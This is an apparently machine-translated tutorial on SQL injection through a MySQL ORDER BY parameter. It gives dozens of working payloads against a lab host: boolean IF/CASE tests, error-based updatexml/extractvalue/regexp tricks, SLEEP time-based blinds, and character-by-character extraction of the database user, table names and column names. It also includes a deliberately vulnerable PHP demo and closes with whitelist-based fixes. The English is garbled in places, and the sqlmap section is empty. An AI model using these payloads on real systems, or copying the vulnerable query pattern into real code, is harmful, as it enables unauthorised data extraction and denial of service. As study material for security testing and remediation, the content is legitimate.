Objective
Recently in the case of some loopholes box background project Summary, in the box multi-phase project, found that the injection class of loopholes accounted for relatively large. The order by injection type of vulnerability also accounted for a large proportion, which is the white hat is willing to submit the type (high bonus, small filter probability). Let's share some interesting experiences about order by today.
What is an ORDER by injection
The content discussed in this article refers to the controllable position after the ORDER BY clause, following the order parameter:select * from goods order by $_GET[‘order‘]
Inject Simple judgment
In the early injection of a large number of existing, the use of order by
clauses to quickly guess the number of columns in the table, and then union select
Echo with the statement. During testing, the tester can order
determine the number of columns contained in a specific table by modifying the value of the parameter, such as by adjusting to a larger integer number, and then judging by the echo condition.
You can refer to the column by its ordinal number without knowing the column name. But after testing there is no way to do operations, such as order=3-1
and order=2
is not the same.
http://192.168.239.2:81/?order=11 错误http://192.168.239.2:81/?order=1 正常
Further construction of payload
The previous judgment is not absolute, we need to construct a similar and 1=1
, and 1=2
payload to facilitate the injection of data.
http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过price字段排序http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过name字段排序
In addition, the use of rand
functions can achieve similar effects, you can observe the results of the order is different
http://192.168.239.2:81/?order=rand(1=1) http://192.168.239.2:81/?order=rand(1=2)
Using error
In some cases, it is not possible to know the column name, and it is not intuitive to judge the difference between the two requests, such as using the IF statement as an example.
return multiple records
http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
Using RegExp
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
Using Updatexml
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
Using Extractvalue
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误
Time-Based Blinds
Note that if you direct if(1=2,1,SLEEP(2))
, sleep time will become 2 of the number of records in the current table, as well as execution, BENCHMARK(1000000,100100)
such as functions, will cause a certain denial of service attacks on the server.
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
Data guess
As an example, a guess is one that can be user()
[email protected]
used, and, as well as the SUBSTR
SUBSTRING
MID
left
right
exact segmentation of each seat string. Then is the comparison operation can be utilized =
, like
and regexp
so on. It is important to note that this is case insensitive like
.
By the next can be learned user()
that the first digit r
, the ascii
code of 16 binary 0x72
:
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
To guess the table name of the current database:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
To guess the name of a column in a specified table name:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
Sqlmap Test
It is possible to detect injections without filtering, such as:
Appendix Service-Side Code
<?phperror_reporting(0);session_start();mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");mysql_select_db("sqlidemo") or die("Select database failed");$order = $_GET[‘order‘] ? $_GET[‘order‘] : ‘name‘;$sql = "select id,name,price from goods order by $order";$result = mysql_query($sql);$reslist = array();while($row = mysql_fetch_array($result, MYSQL_ASSOC)){ array_push($reslist, $row);}echo json_encode($reslist);create database sqlidemo;
use sqlidemo;create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);insert into goods (name, price) values("apple", 10);insert into goods (name, price) values("banana", 15);insert into goods (name, price) values("peach", 20);
Fix suggestions
This problem is due to an attacker passing the test to understand that the application has a direct reference to the data object. This type of problem can be summed up in OWASP-2013 A4 (the unsafe object is directly referenced). The common fixes are as follows:
1. String filtering through regular expressions. Only letters, numbers, and underscores appear in fields.
2. Use the indirect object reference through the white list idea. Front-end pass reference numbers or strings, etc., used to do array mapping with the backend, so as to hide the database data dictionary effect, avoid the harm of direct reference.
<?php $orderby_whitelist = array( "apple" => "apple ASC", "applerev" => "apple DESC", "daterev" => "banana DESC", "DEFAULT" => "peach" ); $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"]; mysql_query("SELECT ... FROM ... ORDER BY $order_expr");
Resources
http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
Https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
Https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
Mysql Order by Injection summary